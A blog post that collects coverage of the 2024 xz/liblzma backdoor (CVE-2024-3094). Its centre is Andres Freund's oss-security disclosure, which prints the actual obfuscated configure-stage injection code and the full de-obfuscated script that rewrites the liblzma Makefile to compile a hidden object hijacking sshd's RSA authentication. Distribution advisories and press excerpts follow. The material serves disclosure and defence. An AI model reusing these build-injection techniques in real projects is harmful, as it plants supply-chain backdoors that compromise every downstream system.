A backdoor in xz

posted by Roy Schestowitz on Mar 29, 2024,
updated Apr 14, 2024

Andres Freund has posted a detailed investigation into a backdoor that was shipped with versions 5.6.0 and 5.6.1 of the xz compression utility. It appears that the malicious code may be aimed at allowing SSH authentication to be bypassed.

Read on

Full message:

• [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

  Hi,
  
  
  After observing a few odd symptoms around liblzma (part of the xz package) on
  Debian sid installations over the last weeks (logins with ssh taking a lot of
  CPU, valgrind errors) I figured out the answer:
  
  
  The upstream xz repository and the xz tarballs have been backdoored.
  
  
  At first I thought this was a compromise of debian's package, but it turns out
  to be upstream.
  
  
  == Compromised Release Tarball ==
  
  
  One portion of the backdoor is *solely in the distributed tarballs*. For
  easier reference, here's a link to debian's import of the tarball, but it is
  also present in the tarballs for 5.6.0 and 5.6.1:
  
  
  https://salsa.debian.org/debian/xz-utils/-/blob/debian/un...
  
  
  That line is *not* in the upstream source of build-to-host, nor is
  build-to-host used by xz in git.  However, it is present in the tarballs
  released upstream, except for the "source code" links, which I think github
  generates directly from the repository contents:
  
  
  https://github.com/tukaani-project/xz/releases/tag/v5.6.0
  https://github.com/tukaani-project/xz/releases/tag/v5.6.1
  
  
  This injects an obfuscated script to be executed at the end of configure. This
  script is fairly obfuscated and data from "test" .xz files in the repository.
  
  
  This script is executed and, if some preconditions match, modifies
  $builddir/src/liblzma/Makefile to contain
  
  
  am__test = bad-3-corrupt_lzma2.xz
  ...
  am__test_dir=$(top_srcdir)/tests/files/$(am__test)
  ...
  sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
  
  
  which ends up as
  ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "        \-_" "         _\-" | xz -d | /bin/bash
  >/dev/null 2>&1; ...
  
  
  Leaving out the "| bash" that produces
  
  
  ####Hello####
  #��Z�.hj�
  eval `grep ^srcdir= config.status`
  if test -f ../../config.status;then
  eval `grep ^srcdir= ../../config.status`
  srcdir="../../$srcdir"
  fi
  export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c
  +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
  && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 &&
  (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
  -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c
  +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
  >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
  >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024
  >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail
  -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1
  -dc|/bin/sh
  ####World####
  
  
  After de-obfuscation this leads to the attached injected.txt.
  
  
  == Compromised Repository ==
  
  
  The files containing the bulk of the exploit are in an obfuscated form in
    tests/files/bad-3-corrupt_lzma2.xz
    tests/files/good-large_compressed.lzma
  committed upstream. They were initially added in
  https://github.com/tukaani-project/xz/commit/cf44e4b7f5df...
  
  
  Note that the files were not even used for any "tests" in 5.6.0.
  
  
  Subsequently the injected code (more about that below) caused valgrind errors
  and crashes in some configurations, due the stack layout differing from what
  the backdoor was expecting.  These issues were attempted to be worked around
  in 5.6.1:
  
  
  https://github.com/tukaani-project/xz/commit/e5faaebbcf02...
  https://github.com/tukaani-project/xz/commit/72d2933bfae5...
  https://github.com/tukaani-project/xz/commit/82ecc538193b...
  
  
  For which the exploit code was then adjusted:
  https://github.com/tukaani-project/xz/commit/6e636819e8f0...
  
  
  Given the activity over several weeks, the committer is either directly
  involved or there was some quite severe compromise of their
  system. Unfortunately the latter looks like the less likely explanation, given
  they communicated on various lists about the "fixes" mentioned above.
  
  
  Florian Weimer first extracted the injected code in isolation, also attached,
  liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!
  
  
  == Affected Systems ==
  
  
  The attached de-obfuscated script is invoked first after configure, where it
  decides whether to modify the build process to inject the code.
  
  
  These conditions include targeting only x86-64 linux:
      if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq
  "linux-gnu$" > /dev/null 2>&1);then
  
  
  Building with gcc and the gnu linker
      if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
      exit 0
      fi
      if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
      exit 0
      fi
      LDv=$LD" -v"
      if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
      exit 0
  
  
  Running as part of a debian or RPM package build:
      if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
  
  
  Particularly the latter is likely aimed at making it harder to reproduce the
  issue for investigators.
  
  
  Due to the working of the injected code (see below), it is likely the backdoor
  can only work on glibc based systems.
  
  
  Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
  distributions, and where they have, mostly in pre-release versions.
  
  
  == Observing Impact on openssh server ==
  
  
  With the backdoored liblzma installed, logins via ssh become a lot slower.
  
  
  time ssh nonexistant@localhost
  
  
  before:
  nonexistant@localhost: Permission denied (publickey).
  
  
  before:
  real    0m0.299s
  user    0m0.202s
  sys     0m0.006s
  
  
  after:
  nonexistant@localhost: Permission denied (publickey).
  
  
  real    0m0.807s
  user    0m0.202s
  sys     0m0.006s
  
  
  openssh does not directly use liblzma. However debian and several other
  distributions patch openssh to support systemd notification, and libsystemd
  does depend on lzma.
  
  
  Initially starting sshd outside of systemd did not show the slowdown, despite
  the backdoor briefly getting invoked. This appears to be part of some
  countermeasures to make analysis harder.
  
  
  Observed requirements for the exploit:
  a) TERM environment variable is not set
  b) argv[0] needs to be /usr/sbin/sshd
  c) LD_DEBUG, LD_PROFILE are not set
  d) LANG needs to be set
  e) Some debugging environments, like rr, appear to be detected. Plain gdb
     appears to be detected in some situations, but not others
  
  
  To reproduce outside of systemd, the server can be started with a clear
  environment, setting only the required variable:
  
  
  env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D
  
  
  In fact, openssh does not need to be started as a server to observe the
  slowdown:
  
  
  slow:
  env -i LANG=C /usr/sbin/sshd -h
  
  
  (about 0.5s on my older system)
  
  
  fast:
  env -i LANG=C TERM=foo /usr/sbin/sshd -h
  env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
  ...
  
  
  (about 0.01s on the same system)
  
  
  It's possible that argv[0] other /usr/sbin/sshd also would have effect - there
  are obviously lots of servers linking to libsystemd.
  
  
  == Analyzing the injected code ==
  
  
  I am *not* a security researcher, nor a reverse engineer.  There's lots of
  stuff I have not analyzed and most of what I observed is purely from
  observation rather than exhaustively analyzing the backdoor code.
  
  
  To analyze I primarily used "perf record -e intel_pt//ub" to observe where
  execution diverges between the backdoor being active and not. Then also gdb,
  setting breakpoints before the divergence.
  
  
  The backdoor initially intercepts execution by replacing the ifunc resolvers
  crc32_resolve(), crc64_resolve() with different code, which calls
  _get_cpuid(), injected into the code (which previously would just be static
  inline functions).  In xz 5.6.1 the backdoor was further obfuscated, removing
  symbol names.
  
  
  These functions get resolved during startup, because sshd is built with
  -Wl,-z,now, leading to all symbols being resolved early. If started with
  LD_BIND_NOT=1 the backdoor does not appear to work.
  
  
  Below crc32_resolve() _get_cpuid() does not do much, it just sees that a
  'completed' variable is 0 and increments it, returning the normal cpuid result
  (via a new _cpuid()). It gets to be more interesting during crc64_resolve().
  
  
  In the second invocation crc64_resolve() appears to find various information,
  like data from the dynamic linker, program arguments and environment. Then it
  perform various environment checks, including those above. There are other
  checks I have not fully traced.
  
  
  If the above decides to continue, the code appears to be parsing the symbol
  tables in memory. This is the quite slow step that made me look into the issue.
  
  
  Notably liblzma's symbols are resolved before many of the other libraries,
  including the symbols in the main sshd binary.  This is important because
  symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.
  
  
  To be able to resolve symbols in libraries that have not yet loaded, the
  backdoor installs an audit hook into the dynamic linker, which can be observed
  with gdb using
    watch _rtld_global_ro._dl_naudit
  It looks like the audit hook is only installed for the main binary.
  
  
  That hook gets called, from _dl_audit_symbind, for numerous symbols in the
  main binary. It appears to wait for "RSA_public_decrypt@got.plt" to be
  resolved.  When called for that symbol, the backdoor changes the value of
  RSA_public_decrypt@got.plt to point to its own code.  It does not do this via
  the audit hook mechanism, but outside of it.
  
  
  For reasons I do not yet understand, it does change sym.st_value *and* the
  return value of from the audit hook to a different value, which leads
  _dl_audit_symbind() to do nothing - why change anything at all then?
  
  
  After that the audit hook is uninstalled again.
  
  
  It is possible to change the got.plt contents at this stage because it has not
  (and can't yet) been remapped to be read-only.
  
  
  I suspect there might be further changes performed at this stage.
  
  
  == Impact on sshd ==
  
  
  The prior section explains that RSA_public_decrypt@got.plt was redirected to
  point into the backdoor code. The trace I was analyzing indeed shows that
  during a pubkey login the exploit code is invoked:
  
  
              sshd 1736357 [010] 714318.734008:          1  branches:uH:      5555555ded8c
  ssh_rsa_verify+0x49c (/usr/sbin/sshd) =>     5555555612d0 RSA_public_decrypt@plt+0x0
  (/usr/sbin/sshd)
  
  
  The backdoor then calls back into libcrypto, presumably to perform normal authentication
  
  
              sshd 1736357 [010] 714318.734009:          1  branches:uH:      7ffff7c137cd [unknown]
  (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) =>     7ffff792a2b0 RSA_get0_key+0x0
  (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)
  
  
  I have not yet analyzed precisely what is being checked for in the injected
  code, to allow unauthorized access. Since this is running in a
  pre-authentication context, it seems likely to allow some form of access or
  other form of remote code execution.
  
  
  I'd upgrade any potentially vulnerable system ASAP.
  
  
  == Bug reports ==
  
  
  Given the apparent upstream involvement I have not reported an upstream
  bug. As I initially thought it was a debian specific issue, I sent a more
  preliminary report to security@debian.org.  Subsequently I reported the issue
  to distros@. CISA was notified by a distribution.
  
  
  Red Hat assigned this issue CVE-2024-3094.
  
  
  == Detecting if installation is vulnerable ==
  
  
  Vegard Nossum wrote a script to detect if it's likely that the ssh binary on a
  system is vulnerable, attached here. Thanks!
  
  
  Greetings,
  
  
  Andres Freund
  P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
  C="pic_flag=\" $P\""
  O="^pic_flag=\" -fPIC -DPIC\"$"
  R="is_arch_extension_supported"
  x="__get_cpuid("
  p="good-large_compressed.lzma"
  U="bad-3-corrupt_lzma2.xz"
  eval $zrKcVq
  if test -f config.status; then
  eval $zrKcSS
  eval `grep ^LD=\'\/ config.status`
  eval `grep ^CC=\' config.status`
  eval `grep ^GCC=\' config.status`
  eval `grep ^srcdir=\' config.status`
  eval `grep ^build=\'x86_64 config.status`
  eval `grep ^enable_shared=\'yes\' config.status`
  eval `grep ^enable_static=\' config.status`
  eval `grep ^gl_path_map=\' config.status`
  eval $zrKccj
  if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
  exit 0
  fi
  if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$enable_shared" != "xyes";then
  exit 0
  fi
  if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq
  "linux-gnu$" > /dev/null 2>&1);then
  exit 0
  fi
  if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
  exit 0
  fi
  if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
  exit 0
  fi
  if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
  exit 0
  fi
  if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
  exit 0
  fi
  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0
  fi
  if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
  exit 0
  fi
  if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
  exit 0
  fi
  if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
  eval $zrKcst
  j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
  if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  z="^am__uninstall_files_from_dir = {"
  if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  w="^am__install_max ="
  if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  E=$z
  if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  Q="^am__vpath_adj_setup ="
  if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  M="^am__include = include"
  if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  L="^all: all-recursive$"
  if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
  if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
  if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
  exit 0
  fi
  if ! grep -qs "$O" libtool > /dev/null 2>&1;then
  exit 0
  fi
  eval $zrKcTy
  b="am__test = $U"
  sed -i "/$j/i$b" src/liblzma/Makefile || true
  d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'`
  b="am__strip_prefix = $d"
  sed -i "/$w/i$b" src/liblzma/Makefile || true
  b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
  sed -i "/$E/i$b" src/liblzma/Makefile || true
  b="\$(top_srcdir)/tests/files/\$(am__test)"
  s="am__test_dir=$b"
  sed -i "/$Q/i$s" src/liblzma/Makefile || true
  h="-Wl,--sort-section=name,-X"
  if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
  h=$h",-z,now"
  fi
  j="liblzma_la_LDFLAGS += $h"
  sed -i "/$L/i$j" src/liblzma/Makefile || true
  sed -i "s/$O/$C/g" libtool || true
  k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
  sed -i "s/$u/$k/" src/liblzma/Makefile || true
  l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
      export top_srcdir='\$(top_srcdir)'; \\\\\n\
      export CC='\$(CC)'; \\\\\n\
      export DEFS='\$(DEFS)'; \\\\\n\
      export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
      export INCLUDES='\$(INCLUDES)'; \\\\\n\
      export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
      export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
      export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
      export CFLAGS='\$(CFLAGS)'; \\\\\n\
      export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
      export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
      export libdir='\$(libdir)'; \\\\\n\
      export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
      export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
  sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1";
  sed -i "/$m/i$l" src/liblzma/Makefile || true
  eval $zrKcHD
  fi
  elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
  eval $zrKcKQ
  if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
  exit 0
  fi
  if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
  exit 0
  fi
  if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
  exit 0
  fi
  if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
  exit 0
  fi
  if ! grep -qs "$C" ../../libtool; then
  exit 0
  fi
  if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
  exit 0
  fi
  if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
  exit 0
  fi
  N=0
  W=0
  Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
  eval $zrKcjv
  if test -z "$Y"; then
  N=0
  W=88792
  else
  N=88792
  W=0
  fi
  xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk
  'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
  if ! test -f liblzma_la-crc64-fast.o; then
  exit 0
  fi
  cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
  V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) &&
  defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) ||
  defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*,
  void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4];
  success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const
  uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) ==
  ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
  eval $yosA
  if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()"
  $top_srcdir/src/liblzma/check/crc64_fast.c | \
  sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
  sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
  $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r
  liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
  cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
  eval $BPep
  if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()"
  $top_srcdir/src/liblzma/check/crc32_fast.c | \
  sed "/include \"crc32_arm64.h\"/a \\$V" | \
  sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
  $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -
  $P -o .libs/liblzma_la-crc32_fast.o; then
  eval $RgYB
  if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
  if test ! -f .libs/liblzma.so; then
  mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  fi
  rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
  else
  mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  fi
  rm -f .libs/liblzma_la-crc32-fast.o || true
  rm -f .libs/liblzma_la-crc64-fast.o || true
  else
  mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  fi
  else
  mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  fi
  rm -f liblzma_la-crc64-fast.o || true
  fi
  eval $DHLd
  

update

SUSE and Red Hat respond:

• Urgent security alert for Fedora Linux 40 and Fedora Rawhide users

  Yesterday, Red Hat Information Risk and Security and Red Hat Product Security learned that the latest versions of the “xz” tools and libraries contain malicious code that appears to be intended to allow unauthorized access. Specifically, this code is present in versions 5.6.0 and 5.6.1 of the libraries. Fedora Linux 40 users may have received version 5.6.0, depending on the timing of system updates. Fedora Rawhide users may have received version 5.6.0 or 5.6.1. This vulnerability was assigned CVE-2024-3094.

• openSUSE addresses supply chain attack against xz compression library

Gaming On Linux:

• XZ tools and libraries compromised with a critical issue

  There's been an urgent security bulletin sent out in a few places today in the Linux sphere that relates to the XZ tools and libraries with liblzma, as certain version have been compromised.

Arch:

• The xz package has been backdoored

  TL;DR: Upgrade your systems and container images now!

More Updates:

• Linux Upstream XZ Tarballs Have Been Backdoored

  In a significant security alert, a backdoor was detected in XZ Utils, a set of compression utilities for the XZ format that is commonly integrated across numerous Linux distributions. This vulnerability, cataloged as CVE-2024-3094, poses a grave risk by allowing unauthorized remote access to affected systems.

• Backdoor injected into XZ compression tools in several Linux distributions

  Due to unusually high CPU usage and error messages when using remote login via SSH, software developer Andreas Freund noticed a massive security hole in his Debian SID installation. The developer was able to identify the cause as XZ-Tools, a collection of compression tools included in many Linux distributions and used by SSH.

  The vulnerability, dubbed CVE-2024-3094, allows unauthorised remote access to affected Linux systems. The versions affected by the backdoor are the XZ utilities and the associated liblmza library in versions 5.6.0 from late February and 5.6.1 from 9 March. These compromised XZ versions, introduced by one of the XZ developers himself, bypass SSH authentication, allowing attackers to gain full remote control of the system.

• Urgent: Secret Backdoor Found in XZ Utils Library, Impacts Major Linux Distros

  RedHat on Friday released an "urgent security alert" warning that two versions of a popular data compression library called XZ Utils (previously LZMA Utils) have been backdoored with malicious code designed to allow unauthorized remote access.

  The software supply chain compromise, tracked as CVE-2024-3094, has a CVSS score of 10.0, indicating maximum severity. It impacts XZ Utils versions 5.6.0 (released February 24) and 5.6.1 (released March 9).

• Malicious SSH backdoor sneaks into xz, Linux world's data compression library

  Red Hat on Friday warned that a malicious backdoor found in the widely used data compression software library xz may be present in instances of Fedora Linux 40 and in the Fedora Rawhide developer distribution.

  The IT giant said the malicious code, which appears to provide remote backdoor access via OpenSSH and systemd at least, is present in xz 5.6.0 and 5.6.1. The vulnerability has been designated CVE-2024-3094. It is rated 10 out of 10 in CVSS severity.

• Red Hat issues urgent alert for Fedora Linux users due to malicious code

  In a recent security announcement, Red Hat’s Information Risk and Security and Product Security teams have identified a critical vulnerability in the latest versions of the “xz” compression tools and libraries. The affected versions, 5.6.0 and 5.6.1, contain malicious code that could potentially allow unauthorized access to systems. Fedora Linux 40 users and those using Fedora Rawhide, the development distribution for future Fedora builds, are at risk.

  The vulnerability, designated CVE-2024-3094, impacts users who have updated to the compromised versions of the xz libraries. Red Hat urges all Fedora Rawhide users to immediately cease using the distribution for both work and personal activities until the issue is resolved. Plans are underway to revert Fedora Rawhide to the safer xz-5.4.x version, after which it will be safe to redeploy Fedora Rawhide instances.

• Backdoor found in widely used Linux utility breaks encrypted SSH connections

  Researchers have found a malicious backdoor in a compression tool that made its way into widely used Linux distributions, including those from Red Hat and Debian.

  The compression utility, known as xz Utils, introduced the malicious code in versions ​​5.6.0 and 5.6.1, according to Andres Freund, the developer who discovered it. There are no known reports of those versions being incorporated into any production releases for major Linux distributions, but both Red Hat and Debian reported that recently published beta releases used at least one of the backdoored versions—specifically, in Fedora Rawhide and Debian testing, unstable and experimental distributions. A stable release of Arch Linux is also affected. That distribution, however, isn't used in production systems.

Hackaday:

• Security Alert: Potential SSH Backdoor Via Liblzma

  In breaking news that dropped just after our weekly security column went live, a backdoor has been discovered in the xz package, that could potentially compromise SSH logins on Linux systems. The most detailed analysis so far seems to be by [Andres Freund] on the oss-security list.

Opensuse:

• openSUSE addresses supply chain attack against xz compression library

  openSUSE maintainers received notification of a supply chain attack against the “xz” compression tool and “liblzma5” library.

  Security Researcher Andres Freund reported to Debian that the xz / liblzma library had been backdoored.

  This backdoor was introduced in the upstream github xz project with release 5.6.0 in February 2024.

  Our rolling release distribution openSUSE Tumbleweed and openSUSE MicroOS included this version between March 7th and March 28th.

  SUSE Linux Enterprise and Leap are built in isolation from openSUSE. Code, functionality and characteristics of Tumbleweed are not automatically introduced in SUSE Linux Enterprise and/or Leap. It has been established that the malicious file introduced into Tumbleweed is not present in SUSE Linux Enterprise and/or Leap.

The role of systemd

• lcamtuf on the recent xz debacle

  While this issue does not in fact affect OpenBSD, I think it will still be of interest to OpenBSD users -- a lot of us deal with Linux in our dayjobs, after all.

  This is one of the best explanations of the matter I have seen so far: https://lcamtuf.substack.com/p/technologist-vs-spy-the-xz-backdoor

  and it leads in with a quote to remember -

  "This dependency existed not because of a deliberate design decision by the developers of OpenSSH, but because of a kludge added by some Linux distributions to integrate the tool with the operating system's newfangled orchestration service, systemd."

  Enjoy!

• Technologist vs spy: the xz backdoor debate

  Well — we just witnessed one of the most daring infosec capers of my career.

  Here’s what we know so far: some time ago, an unknown party evidently noticed that liblzma (aka xz) — a relatively obscure open-source compression library — was a dependency of OpenSSH, a security-critical remote administration tool used to manage millions of servers around the world. This dependency existed not because of a deliberate design decision by the developers of OpenSSH, but because of a kludge added by some Linux distributions to integrate the tool with the operating system’s newfangled orchestration service, systemd.

Steinar H. Gunderson:

• xz backdooring

  Andres Freund found that xz-utils is backdoored, but could not (despite the otherwise excellent analysis) get quite to the bottom of what the payload actually does.

  What you would hope for to be posted by others: Further analysis of the payload.

Kali:

• All about the xz-utils backdoor

  As of 5:00 pm ET on March 29, 2024 the following information is accurate. Should there be updates to this situation, they will be edited onto this blog post.

  The xz-utils package, starting from versions 5.6.0 to 5.6.1, was found to contain a backdoor (CVE-2024-3094). This backdoor could potentially allow a malicious actor to compromise sshd authentication, granting unauthorized access to the entire system remotely.

  With a library this widely used, the severity of this vulnerability poses a threat to the entire GNU/Linux ecosystem. Luckily, this issue was caught quickly so the impact was significantly less than it could have been. It has already been patched in Debian, and therefore, Kali Linux.

  The impact of this vulnerability affected Kali between March 26th to March 29th, during which time xz-utils 5.6.0-0.2 was available. If you updated your Kali installation on or after March 26th, but before March 29th, it is crucial to apply the latest updates today to address this issue. However, if you did not update your Kali installation before the 26th, you are not affected by this backdoor vulnerability.

Another short one:

• liblzma and xz version 5.6.0 and 5.6.1 are vulnerable to arbitrary code execution compromise

  UPDATE(M03-29-2024 13:43-EDT): This is CVE-2024-3094.

Fedora:

• Fedora Magazine: CVE-2024-3094: Urgent alert for Fedora GNU/Linux 40 and Rawhide users

  The Fedora Project was made aware of CVE-2024-3094 on Friday, March 29th related to the xz tools and libraries. At this time, Fedora Rawhide users are likely to have received the tainted package and Fedora GNU/Linux 40 Beta users may have received the package if they opted into updating from testing repositories. Fedora GNU/Linux 40 Beta users only using stable repositories are NOT impacted. Fedora GNU/Linux 39 and 38 users are also NOT impacted.

  PLEASE IMMEDIATELY STOP USAGE FEDORA RAWHIDE for work or personal activity. Fedora Rawhide will be reverted to xz-5.4.x shortly, and once that is done, Fedora Rawhide instances can safely be redeployed. As a reminder, Fedora Rawhide is the development distribution of Fedora Linux, and serves as the basis for future Fedora GNU/Linux builds (in this case, the yet-to-be-released Fedora GNU/Linux 41).

Traced back to Microsoft staff:

• Red Hat Exec: Linux Supply Chain Hack Was Caught Quickly

  The insertion of a backdoor into code used by most Linux distributions was discovered and fixed quickly, which should limit the impact of the supply chain hack, according to a Red Hat executive.

  Red Hat and the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned Friday that the two latest versions of XZ Utils, a widely used set of data compression tools and libraries in Linux distributions, were found to have been compromised.

• Malicious backdoor, CVSS 10, slipped onto major Linux distributions

  A powerful backdoor with a CVSS rating of 10 made it onto beta releases of major Linux distributions. Red Hat told users on Friday to “please IMMEDIATE STOP USAGE of any Fedora Rawhide instances for work or personal activity” after the code’s behaviour was identified as malicious.

• Backdoor in utility commonly used by Linux distros risks SSH compromise [Ed: Microsoft 'discovered' it just in time to shift attention away from Exchange catastrophe]

  Andres Freund, a principal software engineer at Microsoft, discovered the backdoor and reported it to Linux distributor Openwall Friday morning.

• CISA, Red Hat Warn About Supply Chain Compromise Affecting Linux Distributions

  Red Hat and the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned Friday about a supply chain compromise of XZ Utils software affecting Linux distributions.

  The two latest versions of XZ Utils, a set of widely data compression software tools and libraries, “contain malicious code that appears to be intended to allow unauthorized access,” Red Hat said in an advisory.

